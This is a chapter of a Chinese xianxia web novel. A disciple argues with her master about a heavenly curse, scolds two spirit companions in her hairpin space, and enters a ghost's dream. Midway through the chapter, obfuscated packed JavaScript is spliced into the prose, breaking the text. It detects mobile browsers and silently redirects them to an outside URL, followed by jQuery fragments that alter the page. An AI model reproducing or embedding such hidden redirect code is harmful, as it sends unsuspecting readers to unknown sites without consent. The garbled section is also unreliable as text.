从皇宫出来后,二人当即动用术法躲过了追捕。
一个头从窗户伸出看了眼追兵,又快速地收了回去。
“小景可真是讨人喜欢,这么些人追着你跑。”
祁夜依靠在座椅上,一手支头,轻笑道。
景熙回怼他,“师父更讨人喜欢,除却追徒儿的,跟在师父屁股后面的才是多。”
“哈。”祁夜依坐起身来,叫道:“小二,来壶茶。”
“得嘞!”小二接住怀中的一锭银子屁颠屁颠地去上茶了。
祁夜依摸起桌上瓜子,笑道:“这群小笨蛋,真以为出了皇宫他们还能奈我何吗?”
景熙看他:“不出皇宫怕是也不能奈你何。”
祁夜依微微挑眉,抓了一把瓜子放到景熙眼前,“这茶馆的瓜子是咸的。”
景熙:“万蛇窟是你烧的?”
祁夜依头不抬,低眸淡淡道:“小术法而已。”
景熙:“皇宫中敢用术法,祁夜依,你不要命了。”
她想起来了那日祁夜依面上的咒痕是何物了——她曾在凌剑宗的藏书阁看到过。
那是在皇宫动用术法的诅咒。
天道诅咒。
所以祁夜依动用的绝对不是小术法。
祁夜依有些疑惑,“你看到了?”
景熙:“你管我何时看到的,祁夜依,你不会不知道你这般做是被天道盯上了,天道诅咒不是谁都能承受得了的。”
祁夜依笑笑,“小菩萨是在关心我?”
他一派云淡风轻,瞧着一点都不在意这事。
“区区天道诅咒罢了,别忘了,为师可是活菩萨,上有神佛庇佑,下有众生爱戴,想索我的命便是天道也不得为之。”
景熙瞧他没脸没皮的模样,起身提剑便向外走。
祁夜依喊道:“小景,哪儿去啊?”
说着袖袍一挥,桌上一盘瓜子全数收入囊中。
小二端着热茶看着空空如也的位子,一时摸不着头脑。
嘿,这还喝不喝了?
祁夜依晃着扇子,悠哉悠哉地跟在景熙身后。
“小景,你接下来打算如何做?”
景熙不理会他,继续向前走去,转头便进了一家客栈。
“客官,打尖还是住店啊?”
景熙:“住店。”说完脚步不停拿了房牌去了楼上。
“小景,你真的气了?”
“小景,小景——”
祁夜依跟在景熙身后,迎接他的是“砰”的关门声。漆黑的眼珠盯着门扉燃起笑意,祁夜依晃着折扇道:“小二,一间上房。”
景熙甫一进门便感到木簪空间一阵悸动。
她警惕地进入空间,两个醉醺醺的人正在把酒言欢。
或者说,一个。
白染感应到灵气波动,心中坏水一冒,道:“我们莫喝了,主人若是看到我们喝成这般会心疼的。”
束寒玉:“放心景姐姐不会进来的,白老弟,喝!不醉不归!”
白染:“不行啊,束前辈,被主人知道她会难过的~”
束寒玉酡红着脸,歪头看他,怎么感觉不对劲?
她僵硬地余光一瞟,一拂袖将酒全数收了起来,道:“你小子可别污蔑我,你拉我喝酒还装乖!”
白染:“束前辈,你怎么能这样诬陷我!”
景熙实在看不下去,向他们走近,白染赶紧捂嘴装起惊讶的样子,喊道:“主人~”
“你们又在闹什么?”
白染撒娇般靠着景熙,“主人,我们没有闹的~”
景熙:呵。
她看向束寒玉,“你说。”
束寒玉眨巴眨巴眼,当即指认道:“是他干的,他带我来这里喝酒的!”
景熙无语地叹了口气,颇为好脾气解释道:“我是问,你们是如何来此处的?还有你,束前辈,你为何还在这里?”
束寒玉苍蝇搓手,酒早已醒了大半,讨好地笑道:“景姐姐,对不起,我错了,我真的错了,可是离开你我真的不知道去哪里啊。”
“景姐姐,求求你了,我保证绝对不会插手你和你师父的事。再插手我天打雷劈、魂飞魄散!”
景熙看她发誓的模样,还是心软了。也没几天好活了,只要她不搞事,景熙可以留着她。
“最后一次机会。”
束寒玉眼睛一亮,“景姐姐,你简直是世界上最好最好最好的人!”
景熙胳膊上的挂件一动不动,疯狂压榨自己的存在感,景熙低头看他。
“你呢?有什么解释的?”
白染羞涩一笑,“主人~”
景熙使劲扯胳膊,没扯回来。
“说人话。”
“好吧。”白染直起身来,“就是您那时候不是让我走嘛,我是回去了,然后她,”他指向束寒玉,“她说自己多么多么可怜,让我给她个容身之所,我就带她回了灵塔。”
“哎,主人,我真不是故意不听你的话的……”白染弱弱地拉着景熙的胳膊,撒娇道:“主人~”
景熙:“……”
“木簪空间和灵塔是相通的?”
白染眼睛一亮,发觉景熙并不知晓此事,立刻献媚般连连点头道:“嗯嗯,前主人为了方便使用,将它们的通道打通了。”
景熙挑眉:“可还有其他地方?”
白染:“其他地方?什么其他地方?”问完这话,他反应过来般,眼神变得意味深长起来,道:“主人,你这想法可不该。若真有什么好地方,我岂能不告诉主人。”
装乖装得差些成了傻子,白染怕是头一个。
景熙心中有些失望,果然昧的便宜不好占。
看着束寒玉,她忽地想起入梦传承,道:“束前辈,我记得入梦术可入鬼梦。”
束寒玉颔首。
景熙又道:“可否在皇宫中使用?”
束寒玉思索道:“我没试过,但梦境不属于公堂庙堂范畴,大概是可以的。”
得了回答,景熙道:“如此烦劳束前辈为我护法。”
束寒玉有些忧心,变出一个红色手绳来,上面系着几个轻巧的金铃。
拉起景熙的手腕,她道:“这个手串可让你在梦境中遭受剧烈冲击时脱离出来。”
她弹弹景熙手腕上的梵剑镯,笑了笑,道:“真漂亮的镯子,佛家气息,送你这个的人可真是大手笔。”
一定是莲胥吧,一定是莲胥吧!这对禁忌之恋也相配!</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245318|169645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
景熙将梵箭镯连同金铃手串一同掩在窄袖下,道:“束前辈、白染,我去了。”
二人只觉眼前白光闪过,景熙的神魂便消失不见了。
这是一种很奇妙的感觉,景熙觉得自己像是一粒轻飘飘的蒲公英种子,不断地在四处飘荡,最终落在土地,生根发芽,在新的领土上站稳脚跟。
她睁眼的瞬间,便看到了一副温暖的画面。
三个稚儿乖巧地躺在床上,听母亲轻轻哼着的歌谣。
“天儿高高,地儿苍苍,吃个馍馍好乘凉;月儿明明,风轻轻,宝儿,宝儿快入眠……”
景熙站在门口瞧他们,她有点分不清哪个是云涯。
床上的两个女孩瞧着便是姊妹,眉眼间十分相似,都与长大后的云涯有相同之处。
这时,一个小孩开口了。
“娘,我想吃馍馍。”
歌谣声戛然而止,女子温柔地站起身。景熙这才注意到她肚子大了。
梦境中是冬天,他们穿得厚,所以景熙没有立刻看出来。
女子去锅中拿了一个热气腾腾的白面馒头,一瞧便是精细的面做的。
景熙蹙眉,看着所有人身上补丁一堆的布衾,紧紧粘在身上冷似铁。
真是不寻常。
鬼的梦怕是可控的。
景熙得到这个想法,总觉周围阴恻恻的。说不定云涯正在某处盯着她。
她得找到云涯。
景熙抬手敲敲门,众人注意到了她。
床上的孩子们一脸懵地啃着馒头,妇人也疑惑转头了。
他们面色有些呆滞,似乎对闯进梦境的外来者做不出反应。
景熙道:“夫人,外头风雪太大,可否借宿一夜?”
妇人恢复正常,笑盈盈的,“姑娘从何而来?可吃饭了?坐下一同吃些吧。”
景熙道:“谢夫人好意,我已吃过了。”
景熙坐在炕旁,妇人往炕洞里添了把柴火,火噼里啪啦地烧起来。
她看着几个小孩,笑着问道:“你们叫什么?”
几个小孩当即七嘴八舌——“黑姐”“瑞姐”“狗儿”。
说着,一口馒头被递在嘴边,“姐姐,吃。”
景熙看着她掐的一块馒头,接过后学着她往她口中一递,脸上扬起了笑。
“姐姐不吃,你吃。”
女孩眨眨懵懂的大眼睛,将馒头吃了下去。
景熙观察着几人,到底谁是云涯?
香喷喷的气息传来,一碗红烧肉被端了过来。
妇人笑着道:“姑娘吃些吧。”
三个孩子已经一拥而上,“娘,我要吃,我要吃!”
妇人慈爱地瞧着他们,道:“好,你们吃。”
正在此时,呼啸声从柴门传来,一身风雪的男人开门进来了,妇人迎了上去,接过他背上干柴,为他拂去肩上雪。
“他爹快进来暖和。”
孩子们也迎了上去。
一家人其乐融融,完全忽视了景熙的存在。
不,还有一个人没忽视她。
柴门外,风雪中,身着破烂的女孩背着木柴,大风狂吹着她单薄的身形,短发用力拍打在脸上,遮住了晦暗不明的神情。